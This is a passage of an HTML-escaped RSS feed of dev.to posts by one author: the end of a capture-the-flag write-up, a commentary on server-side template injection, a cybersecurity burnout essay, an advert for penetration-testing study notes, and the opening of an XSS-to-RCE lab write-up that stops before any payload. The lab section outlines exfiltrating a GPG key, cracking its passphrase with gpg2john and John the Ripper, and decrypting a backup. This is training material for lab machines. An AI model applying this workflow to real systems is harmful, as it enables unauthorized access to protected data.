        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            Welcome to the HTB Certified Web Exploitation Specialist (HTB CWES) Guide. Whether you’re just starting your journey in ethical hacking or looking to refine your existing skills, this resource is stru
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.buymeacoffee.com%2Fuploads%2Fprofile_pictures%2F2024%2F08%2FZM833oVaI4yezrXw.png%401f.png"&gt;
          buymeacoffee.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;





&lt;p&gt;&lt;strong&gt;The Workflow:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Exfiltrate&lt;/strong&gt; the armored key and the encrypted backup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Convert&lt;/strong&gt; the key to a hash using gpg2john.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Crack&lt;/strong&gt; the hash with John the Ripper to get the passphrase.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Decrypt&lt;/strong&gt; the backup to find hardcoded secrets.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Convert Key for Cracking
gpg2john armored_key.asc &amp;gt; hash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Import &amp;amp; Decrypt
gpg --import armored_key.asc
gpg --decrypt backup.sql.gpg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;

  &lt;iframe src="https://www.youtube.com/embed/QtMFd_k9aAg"&gt;
  &lt;/iframe&gt;


&lt;/p&gt;

&lt;h3&gt;
  
  
  Why SSTI Was the Silent Killer of 2025
&lt;/h3&gt;

&lt;p&gt;While the industry obsessed over AI hallucinations and memory safety in 2025, &lt;strong&gt;Server-Side Template Injection (SSTI)&lt;/strong&gt; quietly returned to become a primary vector for cloud compromise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Glue Code Problem&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The biggest revelation was that AI pipelines are built on old foundations. Vulnerabilities like &lt;strong&gt;CVE-2025–25362&lt;/strong&gt; (The Spacy-LLM Incident) showed that widely used NLP libraries were taking user prompts and passing them directly into template engines to format them for LLMs. Attackers injected a payload that the underlying Python service executed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. CMS Fatigue&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Major platforms like &lt;strong&gt;Craft CMS&lt;/strong&gt; and &lt;strong&gt;Grav&lt;/strong&gt; suffered critical failures where the template sandboxes (like Twig) were bypassed. Marketing teams demanded dynamic content, and developers obliged by exposing raw template engines, leading to massive ransomware events in the retail sector.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. The Cloud Pivot&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In 2025, an SSTI owns the cloud. Attackers use the RCE to land in a container, query the internal metadata service (IMDS), steal the IAM role, and pivot to S3 buckets or infrastructure destruction.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Expert Insight:&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Template engines are effectively&lt;/em&gt; eval() &lt;em&gt;functions with better PR. The 'Mean Time to Innocence' for SSTI is zero.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Certification Roadmap
&lt;/h3&gt;

&lt;p&gt;Hacknet is a simulator for high-level certifications.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OSWE (OffSec Web Expert):&lt;/strong&gt; The requirement to identify/exploit SSTI and interact with backend Python objects is core curriculum.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OSEP (&lt;/strong&gt;&lt;a href="https://buymeacoffee.com/notescatalog/e/371794" rel="noopener noreferrer"&gt;&lt;strong&gt;OffSec Experienced Penetration Tester&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;):&lt;/strong&gt; The focus on Linux post-exploitation, custom timers, and race conditions aligns perfectly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;eWPTX:&lt;/strong&gt; Advanced serialization attacks and template injection are heavy features of this exam.&lt;/p&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Why I Quit Chasing The Cyber Security Dream</title>
      <dc:creator>Motasem Hamdan</dc:creator>
      <pubDate>Wed, 04 Feb 2026 16:42:10 +0000</pubDate>
      <link>https://dev.to/motasem_hamdan_9c56098a7e/why-i-quit-chasing-the-cyber-security-dream-228k</link>
      <guid>https://dev.to/motasem_hamdan_9c56098a7e/why-i-quit-chasing-the-cyber-security-dream-228k</guid>
      <description>&lt;p&gt;In this article, I pull back the curtain on cybersecurity and strip away the polished image many outsiders imagine. It’s not all digital heroism and fast-paced hacks. Whether you’re part of the blue team defending networks or the red team probing for weak spots, the reality looks more like late night shifts, eyes blurred from logs, constant stress, and a sense that you’re always chasing shadows.&lt;/p&gt;

&lt;p&gt;The job asks for patience and the kind of focus that makes your head hurt. It’s about combing through layers of code, interpreting patterns, and staying alert in ways most people never see. Not for those looking for thrills alone, this path’s more grind than glory.&lt;/p&gt;

&lt;p&gt;For years, I pursued the cybersecurity dream, immersed in code, certifications, and the constant chase for the next big role. But somewhere along the way, I lost sight of why I started. The pressure to stay relevant, the burnout, the imposter syndrome, it all became too much.&lt;/p&gt;

&lt;p&gt;So I stepped back. Not because I failed, but because I realized success isn’t just about titles or tech stacks. It’s about alignment, purpose, and peace.&lt;/p&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://shop.motasem-notes.net/collections/cyber-security-study-notes" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fimgproxy.fourthwall.com%2Ft_KHmYNmdqdoMvD1lXflKDJC7qCTqaR-pcqwPcm97g4%2Fw%3A1200%2Fsm%3A1%2Fenc%2FWAAA9kVHnN_elQFL%2FfYcZxdXIt4Gyq4B0%2F7nVf1J_LR6lQICwJ%2F17tVfG2_qwMIZ7sD%2FpTQjVcX1M7Ion69o%2FOi2j2ODFZ3tYe_Td%2FCa8W6F0GDQY_Jz3l%2FWmxTsdLZMfmKNw5Q%2FxNZLY7BIJcsNyKR2%2Foe05z3yX5tutJWHb%2FNJRg1NU8017h_6ky%2FaQ8_6BOb6_lN0rrS%2Fph_FZWZpFAtJb66p%2F3IgRwQ" height="1600" class="m-0" width="1200"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://shop.motasem-notes.net/collections/cyber-security-study-notes" rel="noopener noreferrer" class="c-link"&gt;
            Cyber Security Certification Study Notes | The MasterMind Notes / Motasem Hamdan
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            The official Cyber Security Certification Study Notes collection for The MasterMind Notes / Motasem Hamdan. Shop products like: Offensive Security Web Expert (OSWE) Study Notes (Unofficial) and Burp Suite Guide, TryHackMe PT1 Study Notes (Unofficial), and more.
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fimgproxy.fourthwall.com%2FFJqqpShALvXlMqWPo8tKb-LuD974ARrBgzxw_9OChZ4%2Fs%3A96%3A96%2Fsm%3A1%2Fenc%2FbE1WsNBEuZizd6l9%2FKw-Z-lFulBPL1GC5%2FgqPvpMWwKyKQS6BK%2FYXDsapRqLlrJyMew%2Fx4v8DUBDfFn88lvz%2FB8GWQKFUb75Z3BAP%2F9XcbYkA0cZciwG86%2FLPdkiQ1EjE8eC7FP%2F9x1PYgzk7rsXBEWp%2Fv65cQVflX20AgXOV%2FBDpNXcsN6nzs2sYU%2FcXB7cxvkmou3OEAt%2Fu_2AstgJmMfsg2Wv%2FGu8ZwRrbbzEeZSkg%2FHMB2D6KHCPJYicvB%2Fr1HiEVwR7gvQlZ-L" width="96" height="96"&gt;
          shop.motasem-notes.net
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Mental Toll is Real&lt;br&gt;
Press enter or click to view image in full size&lt;/p&gt;

&lt;p&gt;Okay, I will open up about how deeply cybersecurity work can take a toll, not just mentally but physically too. Years spent bouncing between blue team defense and red team offense wore me down.&lt;/p&gt;

&lt;p&gt;Burnout didn’t show up all at once. It crept in slowly, building over time until it became impossible to ignore. The stress, the nonstop pressure, and the demanding pace eventually pushed me to step back for good. Changing how I use my cybersecurity knowledge wasn’t an easy call, but it turned out to be necessary.&lt;/p&gt;

&lt;p&gt;Choosing my health meant giving up a job I’d invested years into. Still, I moved forward, chasing a life with more balance and peace, even if it meant starting over.&lt;/p&gt;

&lt;p&gt;I genuinely enjoyed the technical side of it all, but five years in, the stress just wore me down. No matter how much I tried to power through, it started bleeding into other parts of my life. The sleep got worse, workouts took a hit, and eventually, I had to ask himself if the high pay was worth feeling that wrecked every day.&lt;/p&gt;

&lt;p&gt;In the end, I chose my health. Regular swimming, lifting weights, martial arts, those became my therapy. I walked away from a stressful job because, in my words, no paycheck is worth your peace of mind. My message for people thinking about getting into cybersecurity is pretty clear: it’s not just a career choice. It’s a lifestyle. You’ve got to ask yourself if you’re ready to carry that weight day in and day out.&lt;/p&gt;

&lt;p&gt;Cybersecurity Certificates can help, sure, especially well-regarded ones like CompTIA Security+ or OSCP. They show you’ve got foundational knowledge or hands-on skills.&lt;/p&gt;

&lt;p&gt;Cybersecurity Certificates can help, sure, especially well-regarded ones like &lt;a href="https://buymeacoffee.com/notescatalog/e/183200" rel="noopener noreferrer"&gt;CompTIA Security+&lt;/a&gt; or &lt;a href="https://buymeacoffee.com/notescatalog/e/165578" rel="noopener noreferrer"&gt;OSCP&lt;/a&gt;. They show you’ve got foundational knowledge or hands-on skills.&lt;/p&gt;

&lt;p&gt;But according to the me, they aren’t everything. What really sticks out? The work you’ve done, the things you’ve built, and how you talk about it. Actual projects and experience tell a much louder story than a list of acronyms on a résumé. Plus, interviews matter. ==A lot. How you explain your process, your role in a project, the way you solve problems, all of that carries more weight than just collecting more paper.== ==At some point, certificates start looking more like padding than proof.==&lt;/p&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/extras" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.buymeacoffee.com%2Fopengraph%2Fimages%2F1730588%2F1%2Fog_9630827_1765478408.jpg" height="450" class="m-0" width="800"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/extras" rel="noopener noreferrer" class="c-link"&gt;
            Extras | The MasterMinds Notes - Buymeacoffee
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            AboutCyber Security Notes &amp;amp;amp; CoursesContactconsultation@motasem-notes.netProduct's Legal &amp;amp;amp; TOS InfoPlease read all terms of service and legal information about the products from hereReviews and
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.buymeacoffee.com%2Fuploads%2Fprofile_pictures%2F2024%2F08%2FZM833oVaI4yezrXw.png%401f.png" width="200" height="200"&gt;
          buymeacoffee.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  Networking Over Certs
&lt;/h2&gt;

&lt;p&gt;Press enter or click to view image in full size&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A721%2F0%2AyNrrapTnWc4lB6FN" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afit%3A721%2F0%2AyNrrapTnWc4lB6FN" width="721" height="406"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Building a professional network isn’t just helpful, it’s essential. While certifications can polish your résumé, real progress often comes through people. Platforms like LinkedIn and GitHub aren’t just digital portfolios; they’re modern meeting spots. They show what you’ve built and who you’re connected to. Employers scroll those pages as much as résumés now.&lt;/p&gt;

&lt;p&gt;Going to industry conferences, joining online communities, or even jumping into comment sections can quietly open doors. These are places where quiet introductions turn into long-term opportunities. It’s not always about who’s the loudest or most impressive, just being present and consistent matters.&lt;/p&gt;

&lt;p&gt;Making friends in your field, helping out when you can, and showing genuine interest creates something a certification can’t, a sense of trust. And when people trust you, they think of you when new jobs or projects pop up.&lt;/p&gt;

&lt;p&gt;So while certifications prove you know something, your network is what gets you the call back.&lt;/p&gt;

&lt;h2&gt;
  
  
  Learning Resources Are Often Misleading
&lt;/h2&gt;

&lt;p&gt;A lot of content out there on cybersecurity isn’t really meant to teach. It’s more about getting clicks or boosting someone’s name. That’s why it’s so important to stay sharp and not take everything at face value. Just because something’s popular doesn’t mean it’s solid. Some tutorials or courses might cover the basics or even sound convincing, but they can leave you with a false sense of confidence.&lt;/p&gt;

&lt;p&gt;if you really care about learning, you’ve got to look beyond what’s trending. Double-check where the info comes from. Don’t just rely on the first YouTube video or blog post you find. Trust is earned, not assumed. Keep reading. Keep asking questions. Stay curious. This field changes fast, and the only way to keep up is to keep pushing yourself.&lt;/p&gt;

&lt;p&gt;That’s how you actually get good, by never settling for surface-level knowledge.&lt;/p&gt;

&lt;p&gt;Alternative Career Paths&lt;br&gt;
Traditional jobs aren’t the only route anymore. You’ve got people carving out paths through freelancing, making content online, or even building something big like a cybersecurity academy.&lt;/p&gt;

&lt;p&gt;But those options take more than just being good at what you do. They demand a steady hand and serious drive. No one’s standing over your shoulder keeping you on track.&lt;/p&gt;

&lt;p&gt;You’ve gotta manage your time, keep learning, push through when things stall, and find your own rhythm, day in, day out. It’s like building your own boat and sailing it too. You learn fast whether you’re cut out for the sea.&lt;/p&gt;

&lt;p&gt;Video&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/zZi1fm-Dg0I"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

</description>
      <category>career</category>
      <category>security</category>
      <category>cybersecurity</category>
      <category>techtalks</category>
    </item>
    <item>
      <title>Ultimate HTB CPTS 2026 Notes: The Complete Study Guide</title>
      <dc:creator>Motasem Hamdan</dc:creator>
      <pubDate>Wed, 04 Feb 2026 16:25:54 +0000</pubDate>
      <link>https://dev.to/motasem_hamdan_9c56098a7e/ultimate-htb-cpts-2026-notes-the-complete-study-guide-440a</link>
      <guid>https://dev.to/motasem_hamdan_9c56098a7e/ultimate-htb-cpts-2026-notes-the-complete-study-guide-440a</guid>
      <description>&lt;p&gt;If you are rigorously preparing for the HackTheBox Certified Penetration Testing Specialist certification, having a centralized and exhaustive resource is non-negotiable. These &lt;strong&gt;HTB CPTS Notes&lt;/strong&gt; serve as the definitive "Mastermind" companion, meticulously compiling over 700 pages of critical enumeration techniques, exploitation methodologies, and post-exploitation strategies.&lt;/p&gt;

&lt;p&gt;Unlike scattered blog posts or fragmented wiki pages, this guide consolidates the entire penetration testing lifecycle from initial information gathering to complex Active Directory attacks into a single, cohesive workflow. Whether you are struggling with specific protocol enumeration or need a structured approach to the 10-day practical exam, these notes provide the technical depth and command-line precision required to pass.&lt;/p&gt;

&lt;h3&gt;
  
  
  Comprehensive Information Gathering &amp;amp; Network Enumeration
&lt;/h3&gt;

&lt;p&gt;Success in the CPTS exam hinges on the ability to discover the unseen. The &lt;strong&gt;HTB CPTS Notes&lt;/strong&gt; begin with a deep dive into active information gathering, offering far more than just basic Nmap syntax.&lt;/p&gt;

&lt;p&gt;The guide details advanced scanning techniques, including firewall and IDS/IPS evasion using decoys and fragmented packets, ensuring you can map networks even in hostile environments. It provides extensive cheat sheets for enumerating essential protocols such as SMB, SNMP, NFS, and MySQL, alongside specialized tools like &lt;code&gt;enum4linux&lt;/code&gt;, &lt;code&gt;snmpwalk&lt;/code&gt;, and &lt;code&gt;rpcclient&lt;/code&gt;. By mastering these enumeration steps, you ensure that no service is left unchecked, creating a solid foundation for the exploitation phase.&lt;/p&gt;

&lt;h3&gt;
  
  
  Deep Dive into Active Directory Exploitation
&lt;/h3&gt;

&lt;p&gt;Active Directory (AD) is a significant component of the CPTS exam, and these notes dedicate substantial space to demystifying AD attacks. You will find detailed workflows for enumerating domains, users, and groups using PowerShell and BloodHound to map attack paths. The &lt;strong&gt;HTB CPTS Notes&lt;/strong&gt; cover critical attack vectors such as Kerberoasting, AS-REP Roasting, and Pass-the-Hash, explaining not just the tools (like Impacket and Rubeus) but the underlying mechanics of Kerberos authentication.&lt;/p&gt;

&lt;p&gt;Furthermore, the guide walks you through complex lateral movement techniques and domain privilege escalation, ensuring you can navigate from a single compromised workstation to complete Domain Admin control.&lt;/p&gt;

&lt;h3&gt;
  
  
  Web Application Penetration Testing Mastery
&lt;/h3&gt;

&lt;p&gt;Web exploitation is vast, but these notes distill the chaos into actionable methodologies. The guide covers the OWASP Top 10 and beyond, providing concrete examples and payloads for SQL Injection (including blind and boolean-based), Cross-Site Scripting (XSS), and Server-Side Template Injection (SSTI).&lt;/p&gt;

&lt;p&gt;It specifically targets Content Management Systems (CMS) like WordPress, Joomla, Drupal, and Jenkins, offering specific enumeration steps and exploit chains for each. Whether you are bypassing file upload filters, manipulating JSON Web Tokens (JWT), or exploiting Insecure Deserialization, the &lt;strong&gt;HTB CPTS Notes&lt;/strong&gt; provide the exact syntax and theoretical background needed to identify and exploit these vulnerabilities during your exam.&lt;/p&gt;

&lt;h3&gt;
  
  
  Privilege Escalation and Post-Exploitation
&lt;/h3&gt;

&lt;p&gt;Gaining a foothold is only half the battle; these notes ensure you can escalate privileges on both Windows and Linux systems. For Windows, the guide details manual enumeration of misconfigured services, unquoted service paths, and kernel exploits, alongside automated tools like WinPEAS.&lt;/p&gt;

&lt;p&gt;For Linux, it covers SUID binary exploitation, cron job abuse, and NFS root squashing. Beyond escalation, the notes emphasize post-exploitation and reporting—crucial skills for the CPTS. You will learn how to maintain persistence, harvest credentials using Mimikatz and LaZagne, and, most importantly, how to document your findings professionally using tools like SysReptor to meet the strict reporting standards of the exam.&lt;/p&gt;

&lt;h3&gt;
  
  
  Access a Preview Below
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://www.scribd.com/document/975165038/HTB-CPTS-Notes-Updated-2026#from_embed" rel="noopener noreferrer"&gt;HTB CPTS Notes | Updated 2026&lt;/a&gt; by &lt;a href="https://www.scribd.com/user/836656412/Motasem-Hamdan#from_embed" rel="noopener noreferrer"&gt;Motasem Hamdan&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/5aZFxA7MGck"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h3&gt;
  
  
  Start Below
&lt;/h3&gt;

&lt;p&gt;Don't leave your certification to chance. Equip yourself with the most detailed, exam-focused reference material available.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Click Here to Buy the Full HTB CPTS Notes Book Now&lt;/strong&gt;
&lt;/h3&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/e/321854" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fimg.buymeacoffee.com%2Fapi%2F%3Fextras%3DdXJsPSZjcmVhdG9yPVRoZSUyME1hc3Rlck1pbmRzJTIwTm90ZXMmZGVzaWduX2NvZGU9MiZkZXNpZ25fY29sb3I9JTIzRkZERDAwJnNsdWc9bm90ZXNjYXRhbG9nJmlzX2NyZWF0aW5nPUNvdXJzZXMlMkMlMjBTdHVkeSUyME5vdGVzJTIwJTI2JTIwQm9vayUyMFN1bW1hcmllcyZleHRyYXNfdGl0bGU9U0dGamExUm9aVUp2ZUNCRFpYSjBhV1pwWldRZ1VHVnVaWFJ5WVhScGIyNGdWR1Z6ZEdsdVp5QlRjR1ZqYVdGc2FYTjBJQ2hEVUZSVEtTQlRkSFZrZVNCT2IzUmxjeUI4SURJd01qWWdSV1JwZEdsdmJnJTNEJTNEJmV4dHJhc19pbWFnZT1hSFIwY0hNNkx5OWpaRzR1WW5WNWJXVmhZMjltWm1WbExtTnZiUzkxY0d4dllXUnpMM0psZDJGeVpITXZNakF5TlMwd055MHlNaTh4THpFNE1EQTBNVjlvZEhCZlkzQjBjMTkyTTE5amIzWmxjaTVxY0dWblFETXdNSGRmTUdVdWFuQm4%3D" height="601" class="m-0" width="1201"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/e/321854" rel="noopener noreferrer" class="c-link"&gt;
            HackTheBox Certified Penetration Testing Specialist (CPTS) Study Notes | 2026 Edition - Buymeacoffee
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            The HackTheBox CPTS Study Notes V8 are an 856-page PDF guide updated to meet the changes performed on the exam in 2026. They are designed to help candidates prepare for the Hack The Box Certified Pene
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.buymeacoffee.com%2Fuploads%2Fprofile_pictures%2F2024%2F08%2FZM833oVaI4yezrXw.png%401f.png" width="200" height="200"&gt;
          buymeacoffee.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


</description>
      <category>security</category>
      <category>tutorial</category>
      <category>cybersecurity</category>
      <category>career</category>
    </item>
    <item>
      <title>From Stored XSS to RCE | HackTheBox Imagery Writeup</title>
      <dc:creator>Motasem Hamdan</dc:creator>
      <pubDate>Wed, 04 Feb 2026 12:53:49 +0000</pubDate>
      <link>https://dev.to/motasem_hamdan_9c56098a7e/from-stored-xss-to-rce-hackthebox-imagery-writeup-26dl</link>
      <guid>https://dev.to/motasem_hamdan_9c56098a7e/from-stored-xss-to-rce-hackthebox-imagery-writeup-26dl</guid>
      <description>&lt;p&gt;I see it all the time in pentest reports: Stored XSS gets rated as Medium or even Low because it requires user interaction. But my recent run through &lt;a href="https://motasem-notes.net/from-stored-xss-to-rce-hackthebox-imagery-writeup/" rel="noopener noreferrer"&gt;&lt;strong&gt;HackTheBox’s Imagery&lt;/strong&gt;&lt;/a&gt; machine reminded me why that mindset is dangerous.&lt;/p&gt;

&lt;p&gt;The box is a perfect example of a Daisy Chain attack where a seemingly minor client-side bug becomes the skeleton key for the entire backend.&lt;/p&gt;

&lt;h3&gt;
  
  
  Note:
&lt;/h3&gt;

&lt;p&gt;This post is &lt;strong&gt;not a step-by-step walkthrough, exploit guide, or solution&lt;/strong&gt;. It is intentionally written as a &lt;strong&gt;learning-first methodology breakdown&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The value of this approach is simple: walkthroughs teach &lt;em&gt;what to type&lt;/em&gt;; methodologies teach &lt;em&gt;how to think&lt;/em&gt;. By focusing on enumeration strategy, decision-making patterns, and architectural reasoning, this post is designed to help you transfer the same mindset to &lt;strong&gt;real assessments, labs, certifications, and production environments&lt;/strong&gt; not just this specific challenge.&lt;/p&gt;

&lt;p&gt;Use this content to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Sharpen your mental model, not your copy-paste skills&lt;/li&gt;
&lt;li&gt;Understand &lt;em&gt;why&lt;/em&gt; certain paths exist rather than memorizing how to reach them&lt;/li&gt;
&lt;li&gt;Build repeatable intuition that applies beyond CTFs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your goal is long-term growth as a security practitioner, this style will compound. If your goal is only to solve the box, this post is deliberately not optimized for that.&lt;/p&gt;

&lt;h3&gt;
  
  
  Here is the TL;DR of the kill chain:
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;The Enumeration Methodology&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The standard approach of blindly firing directory busters will yield limited returns here. The elite methodology requires a Feature-First audit.&lt;/p&gt;

&lt;p&gt;Upon discovering the web service on port 8000 (running Werkzeug/Python), your primary goal isn’t just to map endpoints, but to map &lt;strong&gt;data flows&lt;/strong&gt;. You must identify every input field, login forms, upload buttons, and critically, the “Bug Report” feature.&lt;/p&gt;

&lt;p&gt;The presence of a bug report system should trigger immediate investigation into &lt;strong&gt;Stored Cross-Site Scripting (XSS)&lt;/strong&gt; vectors.&lt;/p&gt;

&lt;p&gt;You are asking: If I submit this, who reads it? If the answer is “an admin, you have a potential path to privilege hijacking.&lt;/p&gt;

&lt;p&gt;Simultaneously, the Image Transformation features (crop, rotate, etc.) must be flagged as high-probability targets for &lt;strong&gt;Command Injection&lt;/strong&gt;, as these often rely on underlying system shell commands rather than safe API calls.&lt;/p&gt;

&lt;p&gt;

&lt;/p&gt;
&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/e/390668" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fimg.buymeacoffee.com%2Fapi%2F%3Fextras%3DdXJsPSZjcmVhdG9yPVRoZSUyME1hc3Rlck1pbmRzJTIwTm90ZXMmZGVzaWduX2NvZGU9MiZkZXNpZ25fY29sb3I9JTIzRkZERDAwJnNsdWc9bm90ZXNjYXRhbG9nJmlzX2NyZWF0aW5nPUNvdXJzZXMlMkMlMjBTdHVkeSUyME5vdGVzJTIwJTI2JTIwQm9vayUyMFN1bW1hcmllcyZleHRyYXNfdGl0bGU9U0dGamExUm9aVUp2ZUNCRFpYSjBhV1pwWldRZ1YyVmlJRVY0Y0d4dmFYUmhkR2x2YmlCVGNHVmphV0ZzYVhOMElDaElWRUlnUTFkRlV5a2dUbTkwWlhNZ0tGVnViMlptYVdOcFlXd3AmZXh0cmFzX2ltYWdlPWFIUjBjSE02THk5alpHNHVZblY1YldWaFkyOW1abVZsTG1OdmJTOTFjR3h2WVdSekwzSmxkMkZ5WkhNdk1qQXlOaTB3TVMweU1pOHhMekE1TXpBME1sOWpUMVpGVWk1d2JtZEFNekF3ZDE4d1pTNXFjR2MlM0Q%3D" height="auto" class="m-0"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://buymeacoffee.com/notescatalog/e/390668" rel="noopener noreferrer" class="c-link"&gt;
            HackTheBox Certified Web Exploitation Specialist (HTB CWES) Notes (Unofficial) - Buymeacoffee
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            Welcome to the HTB Certified Web Exploitation Specialist (HTB CWES) Guide. Whether you’re just starting your journey in ethical hacking or looking to refine your existing skills, this resource is stru
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn.buymeacoffee.com%2Fuploads%2Fprofile_pictures%2F2024%2F08%2FZM833oVaI4yezrXw.png%401f.png"&gt;
          buymeacoffee.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;




&lt;p&gt;&lt;strong&gt;Stored XSS&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It started with a standard “Bug Report” feature. Most would check for SQLi and move on. I found I could inject a payload that stored XSS.&lt;/p&gt;

